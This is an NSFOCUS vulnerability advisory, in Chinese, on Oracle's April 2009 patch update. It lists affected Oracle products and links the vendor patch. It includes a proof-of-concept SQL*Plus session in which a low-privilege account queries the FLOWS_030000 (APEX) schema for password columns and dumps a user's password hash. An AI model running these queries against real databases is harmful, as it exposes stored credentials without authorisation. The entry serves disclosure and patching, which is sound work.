绿盟科技NSFOCUS安全漏洞系统

安全研究

安全漏洞

Oracle 2009年4月紧急补丁更新修复多个漏洞

发布日期：2009-04-09
更新日期：2009-04-16

受影响系统：

Oracle Application Server 10.1.2.3.0
Oracle E-Business Suite 12.0.6
Oracle E-Business Suite 11.5.10.2
Oracle Database 9.2.0.8DV
Oracle Database 9.2.0.8
Oracle Database 11.1.0.7
Oracle Database 11.1.0.6
Oracle Database 10.2.0.4
Oracle Database 10.2.0.3
Oracle Database 10.1.0.5
Oracle PeopleSoft Enterprise PeopleTools 8.49
Oracle WebLogic Server 9.2
Oracle WebLogic Server 9.1 GA
Oracle WebLogic Server 9.0 GA
Oracle WebLogic Server 8.1
Oracle WebLogic Server 7.0
Oracle WebLogic Server 10.3
Oracle PeopleSoft Enterprise HRMS 9.0
Oracle PeopleSoft Enterprise HRMS 8.9
Oracle Outside In SDK HTML Export 8.3.0
Oracle Outside In SDK HTML Export 8.2.2
Oracle XML Publisher 5.6.2
Oracle XML Publisher 10.1.3.2.1
Oracle XML Publisher 10.1.3.2
Oracle BI Publisher 10.1.3.4
Oracle BI Publisher 10.1.3.3.3
Oracle BI Publisher 10.1.3.3.2
Oracle BI Publisher 10.1.3.3.1
Oracle BI Publisher 10.1.3.3.0
Oracle WebLogic Portal 8.1
Oracle Data Service Integrator 10.3.0
Oracle AquaLogic Data Services Platform 3.2
Oracle AquaLogic Data Services Platform 3.0.1
Oracle AquaLogic Data Services Platform 3.0
Oracle JRockit R27.6.2

描述：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

C:\> sqlplus dummy/dummy
Connected to:
Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SQL> select granted_role from user_role_privs;

GRANTED_ROLE
------------------------------
CONNECT

SQL> select owner,table_name from all_tables where owner='FLOWS_030000';

OWNER TABLE_NAME
------------------------------ ------------------------------
FLOWS_030000 WWV_FLOW_DUAL100
FLOWS_030000 WWV_FLOW_LOV_TEMP
FLOWS_030000 WWV_FLOW_TEMP_TABLE

Get a list of all columns containing the string "%PASSWORD%'

SQL> select owner||'.'||table_name||'.'||column_name from all_tab_columns where column_name like '%PASSWORD%' and owner like '%FLOWS_0300%';

OWNER||'.'||TABLE_NAME||'.'||COLUMN_NAME
--------------------------------------------------------------------------------
FLOWS_030000.WWV_FLOW_USERS.CHANGE_PASSWORD_ON_FIRST_USE
FLOWS_030000.WWV_FLOW_USERS.FIRST_PASSWORD_USE_OCCURRED
FLOWS_030000.WWV_FLOW_USERS.WEB_PASSWORD_RAW
FLOWS_030000.WWV_FLOW_USERS.WEB_PASSWORD2
FLOWS_030000.WWV_FLOW_USERS.WEB_PASSWORD
FLOWS_030000.WWV_FLOW_USERS.PASSWORD_LIFESPAN_DAYS
FLOWS_030000.WWV_FLOW_USERS.PASSWORD_LIFESPAN_ACCESSES
FLOWS_030000.WWV_FLOW_USERS.PASSWORD_ACCESSES_LEFT
FLOWS_030000.WWV_FLOW_USERS.PASSWORD_DATE

9 rows selected.

SQL> select user_name,web_password2 from FLOWS_030000.WWV_FLOW_USERS

USER_NAME WEB_PASSWORD2
--------------------------------------------------------------------------------
YURI 141FA790354FB6C72802FDEA86353F31

http://www.milw0rm.com/exploits/8507

建议：

厂商补丁：

Oracle
------
Oracle已经为此发布了一个安全公告（cpuapr2009）以及相应补丁:
cpuapr2009：Oracle Critical Patch Update Advisory - April 2009
链接：http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2009.html?_template=/o

浏览次数：4706
严重程度：0（网友投票）

关于我们: 公司介绍; 公司荣誉; 公司新闻

联系我们: 公司总部; 分支机构; 海外机构

快速链接: 绿盟云; 绿盟威胁情报中心NTI; 技术博客